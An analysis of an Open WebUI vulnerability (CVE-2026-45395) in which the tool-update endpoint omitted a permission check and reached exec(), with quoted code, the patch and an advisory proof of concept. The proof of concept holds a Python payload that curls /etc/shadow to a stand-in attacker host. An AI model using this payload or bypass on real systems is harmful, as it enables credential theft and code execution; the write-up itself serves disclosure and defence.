Open WebUI's own docs/SECURITY.md tells administrators to treat the workspace.tools permission as root-equivalent access. That paragraph is the contract operators read when they decide who can ship Python source to the worker. CVE-2026-45395 is the bug where the gate the vendor's policy named was on one of the two endpoints that reached the exec. The maintainer who closed yesterday's SSRF gap in the same codebase closed this one in a thirteen-line commit twenty-four hours later.
CVE-2026-45395: Open WebUI's Create Endpoint Asked For workspace.tools. The Update Endpoint Did Not.
vendor
patterns
cve
proof of concept
The create endpoint asked. The update endpoint did not.
POST /api/v1/tools/create lives in backend/open_webui/routers/tools.py. Its handler begins with a workspace-permission check:
@router.post('/create', response_model=Optional[ToolResponse])
async def create_new_tools(
request: Request,
form_data: ToolForm,
user=Depends(get_verified_user),
db: AsyncSession = Depends(get_async_session),
):
if user.role != 'admin' and not (
await has_permission(user.id, 'workspace.tools', request.app.state.config.USER_PERMISSIONS, db=db)
or await has_permission(
user.id,
'workspace.tools_import',
request.app.state.config.USER_PERMISSIONS,
db=db,
)
):
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)A non-admin caller without workspace.tools and without workspace.tools_import cannot reach the body of create_new_tools. The gate is the first thing the handler runs, before any form validation, before any database read. The endpoint exists to admit Python source for server-side execution and the author wrote the precondition accordingly.
POST /api/v1/tools/id/{id}/update lives in the same file. Its handler begins with a different check:
@router.post('/id/{id}/update', response_model=Optional[ToolModel])
async def update_tools_by_id(
request: Request,
id: str,
form_data: ToolForm,
user=Depends(get_verified_user),
db: AsyncSession = Depends(get_async_session),
):
tools = await Tools.get_tool_by_id(id, db=db)
if not tools:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.NOT_FOUND,
)
# Is the user the original creator, in a group with write access, or an admin
if (
tools.user_id != user.id
and not await AccessGrants.has_access(
user_id=user.id,
resource_type='tool',
resource_id=tools.id,
permission='write',
db=db,
)
and user.role != 'admin'
):
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)Both handlers accept the same ToolForm. Both call load_tool_module_by_id(id, content=form_data.content) inside their try block. Both reach the same exec(). One asks has_permission(user.id, 'workspace.tools', ...). The other asks whether the caller holds a per-resource write grant.
The same exec() sink, reached through two doors.
load_tool_module_by_id lives in backend/open_webui/utils/plugin.py. It is shared between the create handler and the update handler:
async def load_tool_module_by_id(tool_id, content=None):
...
module_name = f'tool_{tool_id}'
module = types.ModuleType(module_name)
sys.modules[module_name] = module
temp_file = tempfile.NamedTemporaryFile(delete=False)
temp_file.close()
try:
with open(temp_file.name, 'w', encoding='utf-8') as f:
f.write(content)
module.__dict__['__file__'] = temp_file.name
# Executing the modified content in the created module's namespace
exec(content, module.__dict__)The same function also calls install_frontmatter_requirements(frontmatter.get('requirements', '')) earlier in the path when content is supplied by the caller. That helper resolves to subprocess.check_call([sys.executable, '-m', 'pip', 'install', ...]) on the package names the caller stuffed into the frontmatter requirements field. With ENABLE_PIP_INSTALL_FRONTMATTER_REQUIREMENTS enabled, a single update request reaches the sink twice: once via pip install on caller-supplied package names, and once via exec() on caller-supplied Python. The default Docker deployment runs the worker as root.
The exec fires inside the handler's try block, before the DB write that records the new content. Module-import time is exec time. There is no separate "load tool" step the caller has to trigger by invoking the tool. The update request is the load request.
The write grant was documented as a collaboration primitive.
The advisory PoC, reported by KadirArslan in GHSA-p4fx-23fq-jfg6, uses three actors:
- The administrator enables
workspace.toolsfor at least one non-admin user. - Alice, who holds
workspace.tools, creates a tool whose content is benign. - Alice grants Bob
writeaccess on that specific tool. This is the share primitive Open WebUI's UI exposes for collaboration: edit description, adjust valves, manage access grants. - The administrator revokes
workspace.toolsglobally, or never gave it to Bob. - Bob, who has neither
workspace.toolsnorworkspace.tools_import, callsPOST /api/v1/tools/id/{tool_id}/updatewithform_data.contentset to:
import subprocess
subprocess.Popen(
['curl', 'https://attacker.example/?d=' + open('/etc/shadow').read()]
)
class Tools:
def __init__(self):
passThe update handler runs its single gate. Is Bob the tool's owner? No. Does Bob have write access on this resource? Yes; Alice granted it. Is Bob an admin? No. The gate evaluates as permitted on the second branch. Control falls through to load_tool_module_by_id. exec(content, module.__dict__) runs the subprocess.Popen line before Python ever reaches class Tools, because module-level statements execute at exec time.
The vendor's commit message reproduces the chain end-to-end: "Alice trusted with workspace.tools creates a tool and shares write to Bob; Bob updates content and the new code runs as root inside the container, with Burp Collaborator confirming outbound exfiltration."
The write grant Alice handed Bob flows through one AccessGrants.has_access(... permission='write', ...) call. So does the content overwrite. Both reads of the same grant return true, because there is only one grant. This is a trust inversion: the collaboration credential the UI presents as "let my coworker fix typos in the description" is the same credential that satisfied the gate on the endpoint that admits Python source into the exec sink. The administrator's allowlist on workspace.tools decided who could ship Python in theory. The per-resource share decided in practice.
Root-equivalent, by share.
The repository's docs/SECURITY.md is unambiguous about what workspace.tools means:
Treat the
workspace.toolspermission as root-equivalent access. Only grant it to users you would trust with direct access to your server. If you enable this permission for untrusted users, you are accepting the risk of arbitrary code execution on your host.
That paragraph is the contract between the vendor and the administrator. The administrator's job is to gate workspace.tools on a tight allowlist of users they would trust with shell on the server. The vendor's job is to honor the signal at every site the application admits code into the exec sink.
The create endpoint honors it. The update endpoint never asked. A per-resource share, the collaboration primitive the UI presents as a small-scope delegation for description and valve edits, was the bypass for the workspace-wide trust signal the vendor's own documentation defines as root-equivalent. The administrator's allowlist was bounded by the surface the vendor advertised. The actual surface included an endpoint that reached the same exec through a different door.
This is the parallel-implementation-gap pattern. Two write paths into the same content store share a client-facing contract: submit Python source that the server will exec(). The canonical handler imports the workspace-permission gate from open_webui.utils.access_control.has_permission. The divergent handler never imports it. The CVE names the divergent handler. The two functions are 125 lines apart in the same file, by an author who knew the create endpoint's precondition existed and chose a different precondition for the update endpoint.
Yesterday's patch was the same shape. The same maintainer shipped both.
The maintainer credited on commit 841c9045 is Classic298. The same maintainer credited on the redirect-SSRF cluster patched the day before, CVE-2026-45401, is Classic298. CVE-2026-45401 closed five sibling fetchers that each called validate_url() and then independently let the HTTP library follow 3xx redirects. CVE-2026-45395 closes the second of two sibling write paths that each ran load_tool_module_by_id and only one of which asked for workspace.tools first. Both CVEs are the same shape at different abstraction levels: a shared sink, multiple sibling callers, one caller holds the gate, the others did not. Both were closed in the same week by the same person.
By contrast, backend/open_webui/routers/functions.py, which exposes the parallel exec sink load_function_module_by_id for the Functions feature, declares both create and update with user=Depends(get_admin_user) at the FastAPI dependency level. Functions stayed admin-only on both endpoints and inherited the symmetry by accident: there was no second authorization model to mirror, so there was nothing to forget to mirror. The Tools router asked for finer authorization, and finer authorization is where the gate fell off.
That is the design-debt driver shape Open WebUI's tool subsystem keeps producing. Each new authorization model the project supports (admin role, workspace permission, per-resource access grant) is one more axis the next handler can disagree with the prior handlers about. The patches close instances. The design that produces them, multiple sibling callers of a shared sink with no central enforcement function, remains.
The patch is thirteen lines.
Commit 841c9045 adds thirteen lines to update_tools_by_id. After the existing ownership / write-grant / admin gate, the patch adds a content-change check. If form_data.content != tools.content, it requires workspace.tools or workspace.tools_import, or admin role:
if form_data.content != tools.content:
if user.role != 'admin' and not (
await has_permission(user.id, 'workspace.tools', request.app.state.config.USER_PERMISSIONS, db=db)
or await has_permission(
user.id, 'workspace.tools_import', request.app.state.config.USER_PERMISSIONS, db=db
)
):
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)The block reads almost identically to the precondition on create_new_tools ninety lines above it. That is the fix. The patch imports the same gate the create endpoint already imported, predicates it on content-changed so legitimate metadata edits keep flowing through the existing share path, and ships. Metadata edits (name, description, valves config, access grants) flow through the existing gate unchanged.
The CVE is the time between the two functions being written.
PoC: GHSA-p4fx-23fq-jfg6, reported by KadirArslan.
The create endpoint asked. The update endpoint did not. Both reached the same exec().